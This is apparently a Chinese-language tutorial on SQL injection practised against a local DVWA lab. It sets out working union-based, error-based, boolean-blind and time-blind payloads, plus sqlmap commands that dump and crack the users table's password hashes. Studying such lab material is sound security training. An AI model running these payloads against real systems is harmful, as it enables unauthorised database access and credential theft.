基于DVWA的SQL注入学习
SQL注入(SQL Injection)是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
以下为基于DVWA靶机下Low难度级别下的探索:
基于回显的SQL注入
找到注入点
正常输入一些内容,查看输出
由于MySQL查询时,字符串和数字之间可以隐式转换。因此如果为字符串类型,注入时还需要考虑引号问题。
于是注入类型可以分为数字型和字符串型。
在输入框中输入1'
,结果显示:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
结果报错了,很有可能这个地方就是注入点。可以从'1''
看出改查询字段的语句内容是字符串型的,不妨猜测大致的SQL查询语句的格式为:
select first_name, surname from `table` where id='$user_id'
基于以上猜测,对于如下一条SQL语句来说,以下判断式总是永真的:
select first_name, surname from `table` where id=' 1' or 2333='2333 '
验证查询语句中的字段个数
借助order by col_num
的语法,一旦col_num
超过了所要查询的字段个数,就会报错。
select first_name, surname from `table` where id=' 1' or 2333=2333 order by 1 # '
因此,当对col_num
调到3的时候,就会报错,于是可以确定查询语句的显示涉及到了两个字段(first_name, surname)
Unknown column '3' in 'order clause'
同样地,也可以通过union
合并另一个查询语句来测试,因为union两头的select列数要相等:
select first_name, surname from `table` where id=' 1'
union
select 2333, '2333 '
获得用户、数据库、表、字段列
根据上面的思想,如果使用union并且结合一些子查询、特殊函数等,那么就可以显示出对应信息了。
常用函数:
version()
mysql 版本user()
数据库用户database()
当前数据库@@datadir
数据库的路径@@version_compile_os
OS版本
获得数据库用户
select first_name, surname from `table` where id=' 1'
union
select user(), '2333 '
所以上图中第二条记录中每个字段对应的结果即为所求的,即当前数据库的用户为app@localhost
。
同理可得,当前数据库为dvwa
。
爆出表名和字段名
information_schema
数据库tables
表信息table_name
表名table_schema
表所属的数据库
columns
列信息column_name
列名table_name
列所属的表table_schema
表所属的数据库
为了方便一行就能显示信息,使用group_concat
函数对字段进行拼接。
以下为获得当前数据库所有表的注入代码,可以得到当前数据库的表为guestbook,users
。
select first_name, surname from `table` where id=' 1'
union
select (
select group_concat(table_name) from information_schema.tables where table_schema=database()
), '2333 '
以下为获得users
表的注入代码,它的列字段为user_id,first_name,last_name,user,password,avatar,last_login,failed_login
。
select first_name, surname from `table` where id=' 1'
union
select (
select group_concat(column_name) from information_schema.columns
where table_name='users' and table_schema=database()
), '2333 '
于是在这种得知了全部表和字段的情况下,可以去获取一些敏感数据了,比如password
字段的数据:
select first_name, surname from `table` where id=' 1'
union
select user_id, password from users # '
基于报错的SQL注入法
借助MySQL提供的一些内置函数来获取数据,比如基于extractvalue
函数的报错获取用户信息:
select first_name, surname from `table` where id=' 1'
union
select (
extractvalue(1,concat(0x7e,(
select user()
),0x7e))
), '2333 '
其中0x7e
表示~
,用于防止中间信息丢失,以上注入代码输出报错结果为:
XPATH syntax error: '~app@localhost~'
SQL盲注
盲注时攻击者通常无法从页面直接看到SQL语句的执行结果,甚至连SQL语句是否执行都不能确定,因此盲注的难度要比一半注入要高。
常用函数:
length(string)
ord(char)
left(string, len)
从左到右截取right(string, len)
substr(string, index[, len])
if(expr1, expr2, expr3)
若expr1执行为true,则执行expr2,否则为expr3
基于布尔的SQL盲注
在DVWA盲注下的返回结果只有两种情况:User ID exists in the database.和User ID is MISSING from the database.
通过以下两条语句分别对应这两种注入的结果来看,可以知道这种情况是字符串类型的盲注。
select * from `table` where user_id = ' 1' and true # '
select * from `table` where user_id = ' 1' and false # '
没有什么特别高效的办法,主要还是根据上边提到的常用函数对期望的内容进行猜测,基于布尔盲注可以进行验证。
类似地,根据上文的方法,不难判断查询语句列的数量为2个。
以获得数据库用户为例,先猜测并验证结果的长度,随后猜测验证字符串每一位的字符是多少:(可以用二分查找加速)
select col1, col2 from `table` where user_id = ' 1' and length(user()) = 13 # '
select col1, col2 from `table` where user_id = ' 1' and left(user(),1) = 'a' # '
基于时间的SQL盲注
如果一个页面上什么都不返回,就难以基于布尔来判断SQL语句是否生效。类似的,通过SQL延迟一段时间的方式来形成布尔的判断,是时间盲注的思想。
还是以判断用户名为例,结合if和sleep函数,如果猜对了就延迟3秒钟,否则就立即得出结果:
select col1, col2 from `table` where user_id = ' 1' and if(length(user()) = 13, sleep(3), true) # '
sqlmap工具的使用
sqlmap是一款开源的自动SQL注入工具。
判断注入点
以DVWA盲注为例,提取浏览器cookie中的相关字段PHPSESSID
与security
作为参数,首先判断注入点:
sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=low' --batch
其中参数batch
表示尝试时注入不作询问。
其中有一行输出显示”GET parameter ‘id’ is vulnerable.”,可以判断参数id为可能的注入点,测试结果如下:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8237=8237 AND 'xgvp'='xgvp&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2600 FROM (SELECT(SLEEP(5)))dOlm) AND 'qrrp'='qrrp&Submit=Submit
---
获取数据库信息
sqlmap参数信息:
- 所有用户:
--users
- 当前用户:
--current-user
- 所有数据库:
--dbs
- 当前数据库:
--current-db
- 数据库账户与密码:
--passwords
- 指定库中的表:
-D <db-name> --tables
- 指定库表中的字段列:
-D <db-name> -T <table-name> --columns
- Dump出指定字段内容:
-D <db-name> -T <table-name> -C <col-name> --dump
假设已经知道了数据库、表和字段的信息,以下以Dump出字段的内容为例:
sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=low' -T users -C user_id,password --dump
在交互中可以选择将结果保存到文件,并且可以选择字典爆破来破解出password
字段的明文,结果如下:
+---------+---------------------------------------------+
| user_id | password |
+---------+---------------------------------------------+
| 1 | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 2 | e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
POST类型注入
data参数:--data=param
以medium难度的盲注为例,使用data
参数:
sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=medium' --data='id=1&Submit=Submit' --batch